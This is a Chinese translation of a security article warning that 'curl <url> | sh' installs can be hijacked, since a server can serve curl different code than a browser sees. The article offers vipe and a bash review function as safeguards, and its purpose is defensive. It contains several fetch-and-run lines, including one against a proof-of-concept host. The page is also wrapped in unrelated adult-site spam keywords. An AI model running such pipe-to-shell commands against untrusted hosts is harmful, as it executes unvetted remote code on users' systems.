成人免费xxxxx在线视频软件_久久精品久久久_亚洲国产精品久久久_天天色天天色_亚洲人成一区_欧美一级欧美三级在线观看

保護你自己免受 `curl <url> | sh` 的危害

系統 Linux
本文并不是為了討論這個方法的好壞,而是為了提醒那些使用此方法的人,這個方法除了那些明顯的缺點外,它還有另一個隱患:直接將第三方數據通過管道傳入shell。現在有很多關于這個方法的討論,支持它的一種觀點認為要執行的腳本是透明的——你可以在命令執行前用瀏覽器打開該腳本并對其進行簡單的檢查。

除非你最近沒有安裝過開發者關注的第三方軟件,否則你很可能被建議使用如下命令直接從網絡上進行安裝。

  1. curl -s http://example.com/install.sh | sh  

本文并不是為了討論這個方法的好壞,而是為了提醒那些使用此方法的人,這個方法除了那些明顯的缺點外,它還有另一個隱患:直接將第三方數據通過管道傳入shell。現在有很多關于這個方法的討論,支持它的一種觀點認為要執行的腳本是透明的——你可以在命令執行前用瀏覽器打開該腳本并對其進行簡單的檢查。

本文的主要目的在于 a)說明這種程度的信任是可以被劫持的,并且b)在使用curl安裝軟件時為你提供一個簡便的保護方式。

概念驗證 —— 一切并非表面看到的那樣

直接切入正題,這種攻擊基于以下原理:.sh文件的內容很容易檢驗其安全性,在瀏覽器中看到的內容與通過curl下載的內容一樣。這一假設的問題在用瀏覽器和curl兩種方式用不同的user-agent,因此如果有人知道這點并加以利用將危害這個.sh文件()。

因此,一個簡單的概念定義已經出來:你可以在GitHub上看全部源代碼或者看POC hosted on Heroku;POC被掛在一個免費的Heroku dyno上,所以如果打不開,很可能是已經掛掉了。

為了快速測試一下,在你檢查了瀏覽器上.sh文件的URL后簡單在終端上運行下面的命令。如果你用curl不是發出的同一個user-agent,你得到的結果將是不同的。

  1. curl -s http://pipe-to-sh-poc.herokuapp.com/install.sh | sh 

解決方案

最簡單的辦法是每執行一個文件前, 先查看里面的內容. 具體的方法有兩種, 道理都差不多, 都是在 curl 之后, sh 之前執行; 一旦你發現有可疑的命令/代碼, 只要把編輯器關掉, 并確保編輯器退出的時候, 返回一個非零錯誤代碼.  (比如: 在 Vim 中, 你可以使用 :cq 退出). 方法1 需要安裝, 方法2 輸入命令的時候少打幾個字. 至于用哪一個, 看你個人喜好了.

方法1) 由于Vipe 允許你把運行編輯器的命令插入 unix 管道中, 查看或修改傳遞給后面程序的數據. 我們可以使用 Vipe 在 sh 執行之前查看文件的內容.

  1. curl -s http://pipe-to-sh-poc.herokuapp.com/install.sh | vipe | sh 

Vipe 屬于 themoreutils 軟件包的一部分, 你可以在下列系統中安裝:

  • Mac OSX 用 homebrew:brew install moreutils.

  • Ubuntu 用 apt:apt-get install moreutils.

  • 其他 *nix 系統, 可以使用軟件源安裝.

方法2) 自己定義 bash 函數. 找到 .bashrc 文件, 然后把下列代碼復制進去保存就可以了:

  1. # Safer curl | sh'ingfunction curlsh {  
  2.     file=$(mktemp -t curlsh) || { echo "Failed creating file"; return; }  
  3.     curl -s "$1" > $file || { echo "Failed to curl file"; return; }  
  4.     $EDITOR $file || { echo "Editor quit with error code"; return; }  
  5.     sh $file;  
  6.     rm $file;} 

調用的時候這么寫:

  1. curlsh http://pipe-to-sh-poc.herokuapp.com/install.sh  

$EDITOR 是你選的編輯器, 它會在文件執行前, 將文件打開, 方便你查看里面的內容.

英文原文:Protect yourself from the hidden dangers of `curl <url> | sh`

譯文出自:http://www.oschina.net/translate/protect-yourself-from-non-obvious-dangers-curl-url-pipe-sh

責任編輯:林師授 來源: www.djm.org.uk
相關推薦

2021-08-02 10:06:53

勒索軟件惡意軟件安全

2018-07-09 05:51:13

2021-05-10 10:08:03

網絡詐騙網絡攻擊網絡安全

2023-02-03 14:40:07

2020-05-20 10:20:56

智能家居黑客網絡攻擊

2019-02-11 10:50:22

2022-03-23 16:03:51

加密貨幣私鑰網絡安全

2019-11-28 08:03:39

網絡攻擊網絡安全數據安全

2021-11-29 18:10:30

網絡攻擊數據安全數據泄露

2021-11-09 15:16:49

物聯網物理資產IoT

2023-06-12 15:04:40

2019-10-29 05:00:58

黑客攻擊網絡安全

2022-06-13 10:18:13

物聯網IoT

2015-06-17 09:59:18

2020-09-07 22:42:01

黑客網絡攻擊惡意軟件

2024-11-08 09:45:47

2022-03-21 09:36:50

醫療機構網絡感染網絡安全

2023-02-22 15:50:18

2020-07-19 07:40:56

勒索軟件網絡攻擊漏洞

2023-08-28 16:22:06

點贊
收藏

51CTO技術棧公眾號

主站蜘蛛池模板: 美女天堂 | 国产a级毛片| 亚洲免费观看视频网站 | 日韩欧美操 | 国产精品毛片无码 | 日韩视频在线一区 | 天天干夜夜操 | 亚洲一区 | 午夜爽爽爽男女免费观看 | 欧美精品久久久久 | 新91| 久久久久久久久国产精品 | 国产在线视频三区 | 黑人成人网 | 成人在线观看网址 | 亚洲一二三在线 | 日韩在线免费播放 | 成人精品一区二区 | 欧美成人精品激情在线观看 | 女同久久另类99精品国产 | 午夜免费av | 国产极品车模吞精高潮呻吟 | www.亚洲视频 | 亚洲美女在线一区 | 91在线色视频| 午夜丰满少妇一级毛片 | 怡红院怡春院一级毛片 | 亚洲精品视频免费看 | 久久亚洲91| 免费久 | 中文字幕一区二区三区不卡 | 免费在线观看一级毛片 | 日日操日日舔 | 97人人爱| 国产精品免费观看 | 欧美精品在线免费观看 | 仙人掌旅馆在线观看 | 午夜a级理论片915影院 | 色狠狠桃花综合 | 99精品视频免费观看 | 欧美一级黄带 |